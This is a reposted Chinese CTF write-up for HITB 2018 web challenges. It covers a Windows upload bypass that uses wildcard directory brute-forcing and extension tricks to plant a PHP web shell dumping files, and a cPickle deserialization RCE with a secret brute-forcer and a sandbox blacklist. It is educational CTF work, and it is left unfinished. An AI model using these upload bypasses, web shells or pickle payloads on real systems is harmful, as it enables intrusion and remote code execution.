ctf php fork,[HITBCTF] web writeup

转载

weixin_39710660 于 2021-03-12 09:04:15 发布 110 收藏
文章标签： ctf php fork

web

upload

首先进网站

F12大法

看到有一个网站

进去之后发现会显示图片的长和宽

可以想一下这个php函数是getimagesize

我查看了一下php.net里面介绍，他检查的是文件头

而且可以通过RFI，远程请求，但是一直不行

看了一下title，what's path 就想着去找路径

然后我想了一下就想着upload的文件夹

发现有default的图片

就在upload上找自己上传的php。。

陷入死胡同了

之后辉神跟我说这个是windows下的有windows的特性

就是 < = * ; > = ?

用通配符可以看是否访问到网站，之后就可以看到上传到网站的文件夹

```
#!/usr/bin/env python

import requests

import string

secret = string.ascii_letters + string.digits

a = ''
```

```
s = requests.session()
for i in range(39):
for j in secret:
url = 'http://47.90.97.18:9999/pic.php?filename=../{}1523537992.jpg'.format(a+j)
html = s.get(url)
if html.content != 'image error':
a=a+j
print a
```

用这个代码可以就爬出了他的文件夹/87194f13726af7ceE27bA2cfE97b60df/

上传了一下就可以访问这下用windows下的特性

1.windows大小写都可以被解析，上传Php

2..php::$DATA这也是一个漏洞

3.%99 在bp下改88——99会解析错误

就可以上传上去了

反弹shell什么的都被禁止了

```
POST /87194f13726af7ceE27bA2cfE97b60df/1523539229.php HTTP/1.1
Host: 47.90.97.18:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://47.90.97.18:9999/87194f13726af7ceE27bA2cfE97b60df/1523539229.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
c=foreach%20(glob(
"../*")%20as%20%24filename)%20%7B%20echo%20"%24filename%20%3D>%20"%3B
var_dump(file_get_contents(%24filename))%3B%20%7D;
```

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: Microsoft-IIS/7.0

X-Powered-By: PHP/5.6.35

Date: Sat, 14 Apr 2018 03:35:40 GMT

Connection: close

Content-Length: 1542

../87194f13726af7cee27ba2cfe97b60df => bool(false)

../admin => bool(false)

../flag.php => string(73) "<?php

echo "flag is here";

//HITB{e5f476c1e4c6dc66278db95f0b5a228a}

?>"

../index.html => string(292) "

Where Path~?
"

../pic.php => string(219) "<?php

$path="./87194f13726af7cee27ba2cfe97b60df/";

if(list($width, $height) = @getimagesize($path.$_GET['filename'])){

echo "width=$width";

echo "height=$height";

}else {

echo "image error";

}

?>

"

../system => bool(false)

../upfile => bool(false)

../upload => bool(false)

../upload.php => string(685) "ï»¿<?php

$BlackList = array('asp','php','jsp','php5','asa','aspx','cer','cgi','phtml','ashx','asmx');

$name = $_FILES['file']['name'];

```
$extension = substr(strrchr($name,"."),1);
$boo = false;
$filepath=dirname(__FILE__).'/87194f13726af7cee27ba2cfe97b60df/' ;
if (isset($_POST["submit"])){
foreach ($BlackList as $key=>$value){
if ($value==$extension){
$boo=true;
break;
}
}
if(!$boo){
$size=$_FILES['file']['size'];
$tmp=$_FILES['file']['tmp_name'];
$time=intval(time());
$name=$time.'.'.$extension;
move_uploaded_file($tmp,$filepath.$name);
echo $name;
}else {
echo "no no no...";
}
}
?>"
```

看到了

python revenge

这道题有源码先下载下来审计一波

有一个cPickle的库，和一个黑名单，那我猜应该是拿shell

cpickle就是反序列化漏洞

上网找了一下反序列化的代码

```
class Person(object):
def __init__(self,username,password):
self.username = username
```

```
self.password = password

def __reduce__(self):

return (os.system, ('whoami',))

admin = Person('admin','admin')

print '序列化： \n' + cPickle.dumps(admin)

d=cPickle.dumps(admin)

print '命令执行结果:\n'

cPickle.loads(d)
```

但是这个反序列化漏洞得绕过两个加密

有一个4长度的secret不过可以爆破随便拿一个下来

```
import itertools,string,hashlib

_string='e041bddb6cc524e63d7de234f81a252ed1e39ba52a175ee51af6f279a3b7a0b3!VnNkYWZhZHNmc2Fk

def break_cookie():

(hash, msg) = _string.split("!")

for c in itertools.product(string.ascii_letters + string.digits, repeat=4):

if hashlib.sha256("%s%s" % (msg, "".join(c))).hexdigest() == hash:

print("".join(c))

break_cookie()
```

可以跑出来他的密码是

有这个就很简单了

然后看了一下黑名单

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

没有过滤input()函数

这里的话

在python2中的input函数跟python3不一样，在python2中的input是eval(raw_input())

有密文了就很简单了=。=可是我一直报错。。。。